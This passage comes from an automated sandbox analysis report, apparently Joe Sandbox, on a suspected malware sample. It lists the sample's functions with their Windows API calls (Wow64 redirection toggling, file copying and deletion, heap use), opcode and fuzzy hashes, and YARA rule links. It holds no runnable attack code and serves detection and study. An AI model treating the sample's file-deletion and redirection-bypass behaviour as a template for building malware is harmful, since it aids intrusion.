Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: FullNamePathPrivateProfileString
String ID:
API String ID: 1991638491-0
Opcode ID: d801e26b4b383c65a4bcfa0cfb75cff4e5f573c5cf49b909debe64a1ec33daa6
Instruction ID: e2e23645685a2ba7f37df2517f79ec26b20915f61f26f0c0f323b457c93792e7
Opcode Fuzzy Hash: d801e26b4b383c65a4bcfa0cfb75cff4e5f573c5cf49b909debe64a1ec33daa6
Instruction Fuzzy Hash: 01212179600615AFCB16EB64C946CAEB7B5EF49760B048058F94A6F3B1CB34FD41CB90

Function 0037636D Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00376332: LoadLibraryA.KERNEL32(kernel32.dll,?,?,0037637F,?,?,003760AA,?,00000001,?,?,00000000), ref: 0037633E
Part of subcall function 00376332: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00376350
Part of subcall function 00376332: FreeLibrary.KERNEL32(00000000,?,?,0037637F,?,?,003760AA,?,00000001,?,?,00000000), ref: 00376362

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,003760AA,?,00000001,?,?,00000000), ref: 0037639F

Part of subcall function 003762FB: LoadLibraryA.KERNEL32(kernel32.dll,?,?,003B54C3,?,?,003760AA,?,00000001,?,?,00000000), ref: 00376304
Part of subcall function 003762FB: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00376316
Part of subcall function 003762FB: FreeLibrary.KERNEL32(00000000,?,?,003B54C3,?,?,003760AA,?,00000001,?,?,00000000), ref: 00376329

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 16c2da2f4e90865d416d76620a209563c86524d3d04f0ad39b15c41757f0fadd
Instruction ID: 3812f4f67ee16d1c667495b49e94634a901fbe9128ae5bbbe67bf492da006468
Opcode Fuzzy Hash: 16c2da2f4e90865d416d76620a209563c86524d3d04f0ad39b15c41757f0fadd
Instruction Fuzzy Hash: 85115731600A04AADB22FB21C813BAD73A59F50721F20C42DF446AE0D2DFB89A45D750

Function 003A8792 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 003A87D0

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 2986f2c8beacfa8fe1ca5c7103efe9efd087bc7131cc19275a6237507e8f95d5
Instruction ID: 076b8228759d9eb11423e42a53e76cd0b27239bdcff79a5d0932db3fb1a1bd59
Opcode Fuzzy Hash: 2986f2c8beacfa8fe1ca5c7103efe9efd087bc7131cc19275a6237507e8f95d5
Instruction Fuzzy Hash: 8211487590410AAFCB06DF58E94099E7BF9EF49310F114069F809AB311DA31EA118BA4

Function 0037B050 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00010000,00000000,00000000,?,?,00000000,?,00376B73,?,00010000,00000000,00000000,00000000,00000000), ref: 0037B0AC

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: b451dde37af23f18a68ff2d47d34311a09cd88044757df8ee344efe7b83743ac
Instruction ID: 1d765deacb10fd0539ddc27c5286cd254e483bfeaef120c60c5bf0dc90334b57
Opcode Fuzzy Hash: b451dde37af23f18a68ff2d47d34311a09cd88044757df8ee344efe7b83743ac
Instruction Fuzzy Hash: 9D113631200705DFD7328E15C880B67F7F9EF44364F10C42EE9AA8BA50C7B5A945CB60

Function 003A5390 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003A500D: RtlAllocateHeap.NTDLL(00000008,00000001,00000000,?,003A31B9,00000001,00000364,?,?,?,0000000A,00000000), ref: 003A504E

_free.LIBCMT ref: 003A53FC

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: fba82c0aa068c5562b6699b73bb903d727f3ae0d836859c59312de60e55cd848
Instruction ID: e2a3c3d5b1fdd60ff0999a2ea846726089f06019787365c6f1adbc1c47cde0bd
Opcode Fuzzy Hash: fba82c0aa068c5562b6699b73bb903d727f3ae0d836859c59312de60e55cd848
Instruction Fuzzy Hash: 670149B72047056BE722CF69D845A5AFBDCEBCA370F26061DE1D4972C0EA70A805CB74

Function 0039E992 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aea155f1e03846a7945f3ef32b85c3da0dbec0b08e6aeb419bf15716d252f37c
Instruction ID: 7382e7a888fa3dc1934ab48d38fcac0374b0d4ab391e636d508b24e7398c4f5d
Opcode Fuzzy Hash: aea155f1e03846a7945f3ef32b85c3da0dbec0b08e6aeb419bf15716d252f37c
Instruction Fuzzy Hash: 74F0A432501A205ADF237A6A9C06B6A3798DF43335F150B15F8669A1D1DF78DC0286A1

Function 003A500D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000001,00000000,?,003A31B9,00000001,00000364,?,?,?,0000000A,00000000), ref: 003A504E

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4eb4e77878e37567c899eb3a78d96a22208621dc0296e3cd08d9893b4c026fcc
Instruction ID: 57ebb1d154d96b6990a00ad9e208b9b66774d3eba63b93d8d5dc8c2cc261eb05
Opcode Fuzzy Hash: 4eb4e77878e37567c899eb3a78d96a22208621dc0296e3cd08d9893b4c026fcc
Instruction Fuzzy Hash: 74F08231A05E246BDF33AF629C05F5A3768FF637B1B1A8125FD15EA190CA74D84086E0

Function 003A3BB0 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00396A99,?,0000015D,?,?,?,?,003985D0,000000FF,00000000,?,?), ref: 003A3BE2

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 3d3fe0b58be90161b5ad9fc57275f7e68e649c8b9c181e1cc0a9b4634603badc
Instruction ID: 08e578853a36f440c3213221551ec89ca0a0f1fd427553d695cde92a611fec98
Opcode Fuzzy Hash: 3d3fe0b58be90161b5ad9fc57275f7e68e649c8b9c181e1cc0a9b4634603badc
Instruction Fuzzy Hash: A4E065316056155BDB232B769D05F5A365ADB437E0F260121FC45DA090DB71DD4082F5

Function 003763DB Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b27793a1ae50f9303f55a2f756c837aed5197c91645e2b39687a2a2f4a17e8c2
Instruction ID: c7863f2780d9c057d662bcfc4b9084fb2a4a1f76719422d8dc6b882e3c470193
Opcode Fuzzy Hash: b27793a1ae50f9303f55a2f756c837aed5197c91645e2b39687a2a2f4a17e8c2
Instruction Fuzzy Hash: 60F0A971101B02CFCB368F60D4A1852BBE8FF0132A324893EE2DB82A20C731A840CF10

Function 003C6A79 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 003C6A84

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: d8f2f3f4bb0e9c2fbc10885302738f1e4dc054b8e791ebfefaeddae2cb0582d6
Instruction ID: abe7075269bfd2ecec6f64b94c75dd6dcbc86e1ee8ae3c34b05db4e4c7cfb651
Opcode Fuzzy Hash: d8f2f3f4bb0e9c2fbc10885302738f1e4dc054b8e791ebfefaeddae2cb0582d6
Instruction Fuzzy Hash: FCF0E5B1B046005AD7226A74980AFA2B7ECAB00315F24885ED4C5C2281C7B158945792

Function 0037653A Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00376558

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 246872d857331b2299f9d721c1e21c3e63b90e22c0d4325a9684d784a7ce1dac
Instruction ID: 6e311fba07fd90d74a97164dfb1bbc5c2a01ac93763769d80b1f96378e521fa6
Opcode Fuzzy Hash: 246872d857331b2299f9d721c1e21c3e63b90e22c0d4325a9684d784a7ce1dac
Instruction Fuzzy Hash: B4F0F87140420DFFDF05DF90C941E9E7B79FB05318F208445F9199A151D336DA21EBA1

Function 00374154 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00374159

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: cc851593f1fd2b35ed972b3ca0519c9d6ab1506275115f6254acfd33543c89c1
Instruction ID: d21fe0207187ce21b9e2fa5d7e4f36555491b854051dfbb1916921af3e3ed398
Opcode Fuzzy Hash: cc851593f1fd2b35ed972b3ca0519c9d6ab1506275115f6254acfd33543c89c1
Instruction Fuzzy Hash: E7D052223420203AAA6A213D2D0BC7F891CCBC2AA0B04007EFA02CE1AAE8444C0302A0

Function 003DE783 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetShortPathNameW.KERNELBASE(?,?,00007FFF), ref: 003DE7A2

Part of subcall function 003784B7: _wcslen.LIBCMT ref: 003784CA

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: NamePathShort_wcslen
String ID:
API String ID: 2021730007-0
Opcode ID: 6259a55f3898d6b62a047f1b6243f50a01de8980e7eed63e972c69fa021a2b93
Instruction ID: cbb1e62147bc18e233c850b68d95edf71e03afc04560d00b9bcc92106bec18df
Opcode Fuzzy Hash: 6259a55f3898d6b62a047f1b6243f50a01de8980e7eed63e972c69fa021a2b93
Instruction Fuzzy Hash: 2EE0CD7694022457C721939C9C05FDA77DDEFC8790F0441B4FD09DB248DDA4DD808590

Function 0038F13C Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001,?,?,?,?,0037B0DE,?,?,00000000,?,00376B73,?), ref: 0038F156

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: af8e5367288cdf3a5d45755d01c5b6087470c88dd2f787e6b3bef861912416fd
Instruction ID: 0d2864a6156a287aa42c1d926c2dc5f5831262e7bf6e20517427bb445d511816
Opcode Fuzzy Hash: af8e5367288cdf3a5d45755d01c5b6087470c88dd2f787e6b3bef861912416fd
Instruction Fuzzy Hash: 64E092B5910704AFD728DF55D846D97BBF8EB08310B00456EA85697740E7B1BD448B50

Function 003739DE Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 003739FD

Part of subcall function 003784B7: _wcslen.LIBCMT ref: 003784CA

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 386af84144545272eaedd580f0801a7e28bfadbbb598bfbf525722651247f41e
Instruction ID: 05d961022679e4f420a36ac327e7eb71425054e4b2f89e99d62ceb2540273e4a
Opcode Fuzzy Hash: 386af84144545272eaedd580f0801a7e28bfadbbb598bfbf525722651247f41e
Instruction Fuzzy Hash: 36E0CD7290012457C721939C9C05FDA77DDDFC8790F0441B5FD09DB248DDB4DD808590

Function 003DE753 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 003DE76C

Part of subcall function 003784B7: _wcslen.LIBCMT ref: 003784CA

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: FolderPath_wcslen
String ID:
API String ID: 2987691875-0
Opcode ID: da3885f3d38a7f82a058b0bd368753bda5a5a9b9685c01d9d0406417fb3a23ef
Instruction ID: 0997f7fcc97a1c910bc591568df1578d81f0920d8d7669f86698ce17239c537e
Opcode Fuzzy Hash: da3885f3d38a7f82a058b0bd368753bda5a5a9b9685c01d9d0406417fb3a23ef
Instruction Fuzzy Hash: 8BD05EA19002282BDF60A7B99D0DDB73AACD740210F0046A0786DD3142E974ED448AA0

Function 003DDA5C Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

CopyFileExW.KERNELBASE(?,?,00000000,00000000,00000000,00000008,?,?,003DD9DC,?,?), ref: 003DDA72

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 0c47462d0ddf0bac4e88db843d25a4570da5d145de6f8d2762d3360bda05a3d2
Instruction ID: 35ecfcf648b3e7f9fe7abf7599698a11afc3539cdc03a5e549165e7871559a98
Opcode Fuzzy Hash: 0c47462d0ddf0bac4e88db843d25a4570da5d145de6f8d2762d3360bda05a3d2
Instruction Fuzzy Hash: 0BD0A7305D0208BBEF108B90CD03F99B76CE711B45F1041A4B101EA0D0C7B5A5089724

Function 003B073A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,003B0AA4,?,?,00000000,?,003B0AA4,00000000,0000000C), ref: 003B0757

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4a13e5e3d3dd7bf8307b490ddc6f17afebb2688e115b22d9ac43136f8e1ccce8
Instruction ID: 900b6aac81381dc0e936a85b83aae7149060a4c0d65918a5c153e984ab77cd24
Opcode Fuzzy Hash: 4a13e5e3d3dd7bf8307b490ddc6f17afebb2688e115b22d9ac43136f8e1ccce8
Instruction Fuzzy Hash: D6D06C3200010DBBDF028F84DD06EDA3BAAFB48714F014010BE1866020C732E821AB94

Function 003DE9C5 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,003DD755), ref: 003DE9C6

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 272a5494cee8beb07b8ef7c2b87cafbff3f10931ed11ae079ce0c54cda6aff46
Instruction ID: e77444e7d7fa8e497d19cebb0e8c03ec8ec91793587e34a54a90b3bd26cbefba
Opcode Fuzzy Hash: 272a5494cee8beb07b8ef7c2b87cafbff3f10931ed11ae079ce0c54cda6aff46
Instruction Fuzzy Hash: EFB0922500261005BD792AB82A281A92B0068433A67DD1BEAE4B9A92E3C33D880BE610

Function 003E6561 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 003DDB69: FindFirstFileW.KERNELBASE(?,?), ref: 003DDBE0
Part of subcall function 003DDB69: DeleteFileW.KERNELBASE(?,?,?,?), ref: 003DDC30
Part of subcall function 003DDB69: FindNextFileW.KERNEL32(00000000,00000010), ref: 003DDC41
Part of subcall function 003DDB69: FindClose.KERNEL32(00000000), ref: 003DDC58

GetLastError.KERNEL32 ref: 003E6583

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: b76c38f0073fc0fb3ed153dd5c7a8a056d724a082f0e7b5b7f365ba519470ca8
Instruction ID: 241a01ddb55ea56c5c2a62a3b91d1a88876c8ea9411ab6be74197db24fce5d10
Opcode Fuzzy Hash: b76c38f0073fc0fb3ed153dd5c7a8a056d724a082f0e7b5b7f365ba519470ca8
